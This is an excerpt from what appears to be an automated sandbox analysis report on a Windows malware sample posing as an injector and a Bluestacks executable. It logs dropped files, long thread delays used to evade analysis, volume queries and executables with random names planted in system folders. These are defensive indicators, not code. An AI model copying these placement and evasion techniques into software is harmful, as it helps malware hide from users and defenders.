              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1453
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\uAazTYNi.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\mPirFwXv.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\TxvLlrMg.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\rCAqismj.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\BlUGSVrR.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\DvqGSnXS.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\EbKwZRsK.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\wxCHpYcd.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDropped PE file which has not been started: C:\Users\user\Desktop\VHSMlJrg.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -21213755684765971s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -600000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -599703s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -599587s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -599484s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -599375s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -100000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99875s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99766s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99656s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99546s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99436s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99325s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99214s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99109s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -99000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98891s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98766s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98641s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98530s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98419s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98312s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98203s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -98094s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -97984s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -97874s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -97764s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -97646s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -97516s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -97406s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -596608s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -596484s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -596218s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -596031s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -595765s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -595451s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -595140s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -594922s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 4344Thread sleep time: -594656s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 5100Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe TID: 1668Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\ShellComponents\cmd.exe TID: 6772Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\ShellComponents\cmd.exe TID: 6848Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe TID: 8580Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7392Thread sleep count: 1972 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8500Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8252Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604Thread sleep count: 1369 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8540Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8224Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608Thread sleep count: 1453 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8524Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8240Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864Thread sleep count: 1234 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8488Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8196Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840Thread sleep count: 1457 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8536Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8292Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780Thread sleep count: 1672 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8528Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8276Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752Thread sleep count: 1671 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8560Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8268Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772Thread sleep count: 1561 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8552Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5392Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836Thread sleep count: 1396 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8496Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8300Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888Thread sleep count: 1324 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8520Thread sleep time: -10145709240540247s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8284Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916Thread sleep count: 1403 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8556Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8308Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892Thread sleep count: 1240 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8532Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8316Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912Thread sleep count: 1321 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8516Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8232Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924Thread sleep count: 1663 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8512Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8256Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920Thread sleep count: 1478 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8504Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8324Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016Thread sleep count: 1673 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508Thread sleep time: -10145709240540247s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8332Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120Thread sleep count: 1476 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8548Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8348Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8116Thread sleep count: 1453 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8568Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8340Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe TID: 8492Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe TID: 8732Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe TID: 9028Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe TID: 4020Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\PING.EXELast function: Thread delayed
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Windows\ShellComponents\cmd.exeFile Volume queried: C:\ FullSizeInformation
              Source: C:\Windows\ShellComponents\cmd.exeFile Volume queried: C:\ FullSizeInformation
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeFile Volume queried: C:\ FullSizeInformation
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeFile Volume queried: C:\ FullSizeInformation
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeFile Volume queried: C:\ FullSizeInformation
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeFile Volume queried: C:\ FullSizeInformation
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeFile Volume queried: C:\ FullSizeInformation
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00F1A69B
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_00F2C220
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F3B348 FindFirstFileExA,0_2_00F3B348
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2E6A3 VirtualQuery,GetSystemInfo,0_2_00F2E6A3
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599703Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599587Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599484Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599375Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 100000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99875Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99766Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99656Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99546Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99436Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99325Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99214Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99109Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 99000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98891Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98766Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98641Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98530Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98419Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98312Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98203Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 98094Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 97984Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 97874Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 97764Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 97646Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 97516Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 97406Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596608Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596484Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596218Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596031Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 595765Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 595451Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 595140Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 594922Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 594656Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\ShellComponents\cmd.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\ShellComponents\cmd.exeThread delayed: delay time: 922337203685477
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeThread delayed: delay time: 922337203685477
